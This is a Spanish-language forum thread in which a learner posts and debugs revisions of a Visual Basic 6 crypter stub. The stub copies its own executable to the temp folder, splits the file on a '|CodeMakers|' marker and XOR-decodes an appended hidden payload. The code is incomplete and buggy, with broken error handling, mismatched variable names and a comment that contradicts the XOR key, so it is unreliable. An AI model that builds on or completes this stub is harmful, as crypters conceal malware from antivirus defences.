Private Function LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean
'Declaramos el array ContDividido
Dim ContDividido() As String
'Si hya error saltamos a la etiquero "Fallo"
On Error GoTo Fallo
'Abrimos el arcihvo DAT de forma binaria
Open ArchivoTemp For Binary Access Read As #1
    'Almacenamos en "Contenido" los bits del stub y del fichero original
    Get #1, , Contenido
'Cerramos el archivo
Close #1
'Separamos la variable Contenido en dos, segun la marca |CodeMakers|
'y almacenamos cada parte en el array ContDividido
ContDividido = Split(Contenido, "|CodeMakers|")
'Reeplazamos el actual dato de la variable Contenido por los bits del _
 fichero original que se encuentran cifrados
Contenido = ContDividido(1)
'Ahora desciframos los bits con la funcion t
Contenido = t(Contenido)
'Ya tenemos en la variable global "conenido" los bits descifrados _
 asique ahora devolvemos true a la funcion y temrinamos la funcion
LeerlosAlmacenarlos = True
'Escribimos la etiqueta Fallo
Fallo:
      LeerlosAlmacenarlos = False
      Exit Function
Exit Function

End Function
'Ahora, como si fueran ramificaciones en una red conceptual estamos viendo otra funcion. La funcion "t" que lo que hace es descifrar y cifrar los bits. con la funcion Xor, pasandolos por el numero 9:


Function t(C)
On Error Resume Next
For i = 1 To Len(C)
t = t & Chr(Asc(Mid(C, i, 1)) Xor 27)
Next i
End Function

[code]

bueno siguiendo lo que dice,abrimos el archivo binario que seria el stub con un nombre aleatorio 3892.dat por ejemplo.

y el dice: Almacenamos en "Contenido" los bits del stub y del fichero original

lo que almaceno en contenido es solo el stub no?

despues dice que parte contenido en 2,el estub lo parte en 2? y coje la 2º parte.?

el dice:y almacenamos cada parte en el array ContDividido

 y como puedo saber si los datos se han guardado en una variable o no?

un salu2 y gracias

'Declaracion globar que almacena la ruta completa del _
 fiochero DAT
Dim FicheroDAT As String

Dim conenido As String

Private Sub Form_Load()
'Llamamos a la funcion CopiarParaLeer que nos copia a un _
 fichero .dat

SiError1 = CopiarParaLeer(App.Path & "\" & App.EXEName & ".exe")
If SiError1 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName
'Llamamos a la funcion que lee y almacena los bits cifrado _
 en una variable y los desciframos.
SiError2 = LeerlosAlmacenarlos(FicheroDAT)
If SiError2 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName


End Sub



Private Function CopiarParaLeer(MiRuta As String) As Boolean
Dim z
Dim t As Integer
Dim i As Integer
Dim FSO As Object
'Si se produce algun error salta a la etiqueta "NoCopio"
'creo el objeto
Set FSO = CreateObject("Scripting.FileSystemObject")
'Activamos randomize para que VB sepa que vamos a crear una _
 funcion que corresponde al "azar"
Randomize
    'La variable "z" va a contener un nombre al azar para _
     la copia, dicho nombre tendra 5 numeros:
     For i = 1 To 5
        't va a tener un numero al azar del 0 al 9
        t = Int(Rnd * 9)
        z = z & t
     Next i
MsgBox "copiando archivo dat"
'Nos copiamos al directorio temporal con un nombre aleatorio.
FileCopy MiRuta, FSO.GetSpecialFolder(2) & "\" & z & ".dat"
'Si todo anduvo bien (porque llegamos a esta linea) _
  debovemos true y almacenamos el fichero DAT en variable
  
CopiarParaLeer = True

FicheroDAT = FSO.GetSpecialFolder(2) & "\" & z & ".dat"


'Escribimos la etiqeta NoCopio
NoCopio:
CopiarParaLeer = False
        
End Function

Private Function LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean
'Declaramos el array ContDividido
Dim ContDividido() As String
Dim binario  As Integer
'Si hya error saltamos a la etiquero "Fallo"

'Abrimos el arcihvo DAT de forma binaria
Open ArchivoTemp For Binary Access Read As #1
    'Almacenamos en "Contenido" los bits del stub y del fichero original
    Get #1, , Contenido
    MsgBox "contenido"
'Cerramos el archivo
Close #1
binario = FreeFile
Open "C:\prueba.exe" For Output As #binario
Print #binario, Contenido
Close #binario

End Function

[code] 

bueno le kite lo del error para que saliera pero no sale na y tampoco me crea el archivo en c.

p.d: el declara  LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean

y despues lo abre en binario,pero como sabe que es el archivo 49857.dat y no 19826.dat?,bamos como sabe cual es.

'Declaracion globar que almacena la ruta completa del _
 fiochero DAT

Dim FicheroDAT As String

'Declaracion global que almacena la ruta completa del _
 fichero Ejecutable.

Dim conenido As String

'Declaracion global que almacena los bits descifrados
'Cuando se ejecute el fichero.

Private Sub Form_Load()
'Llamamos a la funcion CopiarParaLeer que nos copia a un _
 fichero .dat

SiError1 = CopiarParaLeer(App.Path & "\" & App.EXEName & ".exe")
If SiError1 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName
'Llamamos a la funcion que lee y almacena los bits cifrado _
 en una variable y los desciframos.
SiError2 = LeerlosAlmacenarlos(FicheroDAT)
If SiError2 = False Then: Exit Sub: MsgBox "Se ah producido un error en la apertura.", 0, App.EXEName


End Sub



Private Function CopiarParaLeer(MiRuta As String) As Boolean
Dim z
Dim t As Integer
Dim i As Integer
Dim FSO As Object
'Si se produce algun error salta a la etiqueta "NoCopio"
'creo el objeto
Set FSO = CreateObject("Scripting.FileSystemObject")
'Activamos randomize para que VB sepa que vamos a crear una _
 funcion que corresponde al "azar"
Randomize
    'La variable "z" va a contener un nombre al azar para _
     la copia, dicho nombre tendra 5 numeros:
     For i = 1 To 5
        't va a tener un numero al azar del 0 al 9
        t = Int(Rnd * 9)
        z = z & t
     Next i
MsgBox "copiando archivo dat"
'Nos copiamos al directorio temporal con un nombre aleatorio.
FileCopy MiRuta, FSO.GetSpecialFolder(2) & "\" & z & ".dat"
'Si todo anduvo bien (porque llegamos a esta linea) _
  debovemos true y almacenamos el fichero DAT en variable
  

FicheroDAT = FSO.GetSpecialFolder(2) & "\" & z & ".dat"
CopiarParaLeer = True


'Escribimos la etiqeta NoCopio
NoCopio:
CopiarParaLeer = False
        
End Function

Private Function LeerlosAlmacenarlos(ArchivoTemp As String) As Boolean
'Declaramos el array ContDividido
Dim ContDividido() As String
'Si hya error saltamos a la etiquero "Fallo"
MsgBox " abriendo archivo dat"
'Abrimos el arcihvo DAT de forma binaria
Open ArchivoTemp For Binary Access Read As #1
    'Almacenamos en "Contenido" los bits del stub y del fichero original
    Get #1, , Contenido
    
'Cerramos el archivo
Close #1
MsgBox contenido, vbInformation
End Function
[code]